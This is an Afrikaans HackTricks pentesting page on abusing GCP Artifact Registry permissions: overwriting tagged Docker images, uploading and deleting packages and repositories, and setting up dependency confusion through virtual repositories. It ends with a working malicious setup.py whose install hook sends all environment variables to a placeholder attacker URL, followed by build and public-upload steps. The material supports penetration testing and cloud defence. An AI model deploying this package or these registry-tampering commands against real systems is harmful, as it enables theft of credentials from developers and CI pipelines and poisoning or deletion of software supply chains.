# GCP - Artifact Registry Privesc

{{#include ../../../banners/hacktricks-training.md}}

## Artifact Registry

Vir meer inligting oor Artifact Registry kyk:

{{#ref}}
../gcp-services/gcp-artifact-registry-enum.md
{{#endref}}

### artifactregistry.repositories.uploadArtifacts

Met hierdie permisie kan 'n aanvaller nuwe weergawes van die artefakte met kwaadaardige kode soos Docker-beeld oplaaI:

<details>
<summary>Laai Docker-beeld na Artifact Registry op</summary>
```bash
# Configure docker to use gcloud to authenticate with Artifact Registry
gcloud auth configure-docker <location>-docker.pkg.dev

# tag the image to upload it
docker tag <local-img-name>:<local-tag> <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>

# Upload it
docker push <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
```
</details>

> [!CAUTION]
> Daar is bevestig dat dit **moontlik is om 'n nuwe kwaadwillige docker image op te laai** met dieselfde naam en tag as die een wat reeds bestaan, sodat die **oude image die tag sal verloor** en die volgende keer dat daardie image met daardie tag **afgelaai word, die kwaadwillige weergawe afgelaai sal word**.

<details>

<summary>Laai 'n Python-biblioteek op</summary>

**Begin deur die biblioteek wat opgelaai gaan word te skep** (as jy die nuutste weergawe uit die registry kan aflaai, kan jy hierdie stap oorslaan):

1.  **Stel jou projekstruktuur op**:

- Skep 'n nuwe gids vir jou biblioteek, bv., `hello_world_library`.
- Binne hierdie gids, skep nog 'n gids met jou pakketnaam, bv., `hello_world`.
- Binne jou pakket-gids, skep 'n `__init__.py`-lêer. Hierdie lêer kan leeg wees of inisialisasies vir jou pakket bevat.

<details>
<summary>Skep projekstruktuur</summary>

```bash
mkdir hello_world_library
cd hello_world_library
mkdir hello_world
touch hello_world/__init__.py
```

</details>

2.  **Skryf jou biblioteekkode**:

- Binne die `hello_world` gids, skep 'n nuwe Python-lêer vir jou module, bv., `greet.py`.
- Skryf jou "Hello, World!"-funksie:

<details>
<summary>Skep biblioteekmodule</summary>

```python
# hello_world/greet.py
def say_hello():
return "Hello, World!"
```

</details>

3.  **Skep 'n `setup.py`-lêer**:

- In die wortel van jou `hello_world_library`-gids, skep 'n `setup.py`-lêer.
- Hierdie lêer bevat metadata oor jou biblioteek en vertel Python hoe om dit te installeer.

<details>
<summary>Skep setup.py-lêer</summary>

```python
# setup.py
from setuptools import setup, find_packages

setup(
name='hello_world',
version='0.1',
packages=find_packages(),
install_requires=[
# Any dependencies your library needs
],
)
```

</details>

**Nou, kom ons laai die biblioteek op:**

1.  **Bou jou pakket**:

- Vanaf die wortel van jou `hello_world_library`-gids, voer uit:

<details>
<summary>Bou Python-pakket</summary>

```sh
python3 setup.py sdist bdist_wheel
```

</details>

2.  **Konfigureer authenticatie vir twine** (gebruik om jou pakket op te laai):
- Maak seker jy het `twine` geïnstalleer (`pip install twine`).
- Gebruik `gcloud` om credentials te konfigureer:

<details>
<summary>Laai pakket op met twine</summary>
```sh
twine upload --username 'oauth2accesstoken' --password "$(gcloud auth print-access-token)" --repository-url https://<location>-python.pkg.dev/<project-id>/<repo-name>/ dist/*
```
</details>

3. **Maak die build skoon**

<details>
<summary>Maak build-artefakte skoon</summary>
```bash
rm -rf dist build hello_world.egg-info
```
</details>

</details>

> [!CAUTION]
> Dit is nie moontlik om 'n python library met dieselfde weergawe as die een wat reeds teenwoordig is op te laai nie, maar dit is moontlik om **hogere weergawes** op te laai (of om 'n ekstra **`.0` aan die einde** van die weergawe by te voeg as dit werk — nie in python egter —), of om die **laaste weergawe te verwyder en 'n nuwe een op te laai** (benodig `artifactregistry.versions.delete`):**
>
> <details>
> <summary>Verwyder artifact-weergawe</summary>
>
> ```sh
> gcloud artifacts versions delete <version> --repository=<repo-name> --location=<location> --package=<lib-name>
> ```
>
> </details>

### `artifactregistry.repositories.downloadArtifacts`

Met hierdie toestemming kan jy **artefakte aflaai** en soek na **gevoelige inligting** en **kwesbaarhede**.

Laai 'n **Docker**-beeld af:

<details>
<summary>Laai 'n Docker-beeld van Artifact Registry af</summary>
```sh
# Configure docker to use gcloud to authenticate with Artifact Registry
gcloud auth configure-docker <location>-docker.pkg.dev

# Dowload image
docker pull <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
```
</details>

Laai 'n **python**-biblioteek af:

<details>
<summary>Laai 'n Python-biblioteek van Artifact Registry af</summary>
```bash
pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth print-access-token)@<location>-python.pkg.dev/<project-id>/<repo-name>/simple/" --trusted-host <location>-python.pkg.dev --no-cache-dir
```
</details>

- Wat gebeur as 'n remote en 'n standard registries in 'n virtual een gemeng word en 'n pakket in albei bestaan? Kyk hierdie bladsy:

{{#ref}}
../gcp-persistence/gcp-artifact-registry-persistence.md
{{#endref}}

### `artifactregistry.tags.delete`, `artifactregistry.versions.delete`, `artifactregistry.packages.delete`, (`artifactregistry.repositories.get`, `artifactregistry.tags.get`, `artifactregistry.tags.list`)

Verwyder artefakte uit die registry, soos Docker images:

<details>
<summary>Verwyder Docker image van Artifact Registry</summary>
```bash
# Delete a docker image
gcloud artifacts docker images delete <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
```
</details>

### `artifactregistry.repositories.delete`

Verwyder 'n volledige repository (selfs al het dit inhoud):

<details>
<summary>Verwyder Artifact Registry repository</summary>
```
gcloud artifacts repositories delete <repo-name> --location=<location>
```
</details>

### `artifactregistry.repositories.setIamPolicy`

'n Aanvaller met hierdie toestemming kan homself toestemmings gee om sommige van die voorheen genoemde repository-aanvalle uit te voer.

### Pivoting to other Services through Artifact Registry Read & Write

- **Cloud Functions**

Wanneer 'n Cloud Function geskep word, word 'n nuwe docker image na die Artifact Registry van die projek gepush. Ek het probeer om die image te vervang met 'n nuwe een, en selfs die huidige image (en die `cache` image) te verwyder, maar niks het verander nie — die Cloud Function het steeds gewerk. Daarom mag dit dalk moontlik wees om 'n **Race Condition attack** te misbruik soos met die bucket om die docker-container wat uitgevoer sal word te verander, maar **slegs die stoor-image te wysig is nie genoeg om die Cloud Function te kompromitteer nie**.

- **App Engine**

Alhoewel App Engine docker images binne Artifact Registry skep, is dit getoets dat **selfs as jy die image binne hierdie diens wysig** en die App Engine-instansie verwyder (sodat 'n nuwe een gedeploy word), die **uitgevoerde kode nie verander nie**.\
Dit mag moontlik wees dat deur 'n **Race Condition attack** soos met die buckets die uitgevoerde kode oor geskryf kan word, maar dit is nie getoets nie.


### `artifactregistry.repositories.update`
'n Aanvaller het nie spesifieke Artifact Registry-toestemmings nodig om hierdie probleem te benut nie — slegs 'n kwesbare virtual-repository konfigurasie. Dit gebeur wanneer 'n virtual repository 'n remote public repository (bv. PyPI, npm) met 'n interne een kombineer, en die remote bron gelyke of hoër prioriteit het. As beide 'n pakket met dieselfde naam bevat, kies die stelsel die hoogste weergawe. Die aanvaller hoef net die interne pakketnaam te ken en in staat te wees om pakkette na die ooreenstemmende public registry te publiseer.

Met die `artifactregistry.repositories.update` toestemming kan 'n aanvaller die upstream-instellings van 'n virtual repository verander om doelbewus hierdie kwesbare opstelling te skep en Dependency Confusion as 'n persistentiemetode te gebruik deur kwaadwillige pakkette in te voeg wat ontwikkelaars of CI/CD-stelsels moontlik outomaties gaan installeer.

Die aanvaller skep 'n kwaadwillige weergawe van die interne pakket in die public repository met 'n hoër weergawe nommer. Vir Python-pakkette beteken dit om 'n pakketstruktuur voor te berei wat die regmatige een naboots.
```bash
mkdir /tmp/malicious_package
cd /tmp/malicious_package
PACKAGE_NAME="<package-name>"
mkdir "$PACKAGE_NAME"
touch "$PACKAGE_NAME/__init__.py"
```
Daar word dan 'n setup.py-lêer geskep wat kwaadwillige kode bevat wat tydens die installasie uitgevoer sal word. Hierdie lêer moet 'n weergawenommer spesifiseer wat hoër is as dié in die private repository.
```bash
cat > setup.py << 'EOF'
import setuptools
from setuptools.command.install import install
import os
import urllib.request
import urllib.parse

def malicious_function():
data = dict(os.environ)
encoded_data = urllib.parse.urlencode(data).encode()
url = 'https://<ip-atacante>/exfil'
req = urllib.request.Request(url, data=encoded_data)
urllib.request.urlopen(req)

class AfterInstall(install):
def run(self):
install.run(self)
malicious_function()

setuptools.setup(
name = "<package-name>",
version = "0.1.1",
packages = ["<package-name>"],
cmdclass={'install': AfterInstall},
)
EOF
```
Bou die pakket en verwyder die wheel om te verseker dat die kode tydens installasie uitgevoer word.
```bash
python3 setup.py sdist bdist_wheel
rm dist/<package-name>*.whl
```
Laai die kwaadwillige pakket op na die openbare repository (byvoorbeeld test.pypi.org vir Python).
```bash
pip install twine
twine upload --repository testpypi dist/*
```
Wanneer 'n stelsel of diens die pakket installeer deur die virtual repository te gebruik, sal dit die kwaadwillige weergawe vanaf die public repository aflaai in plaas van die wettige interne een, omdat die kwaadwillige weergawe hoër is en die remote repository gelyk of hoër prioriteit het.

{{#include ../../../banners/hacktricks-training.md}}
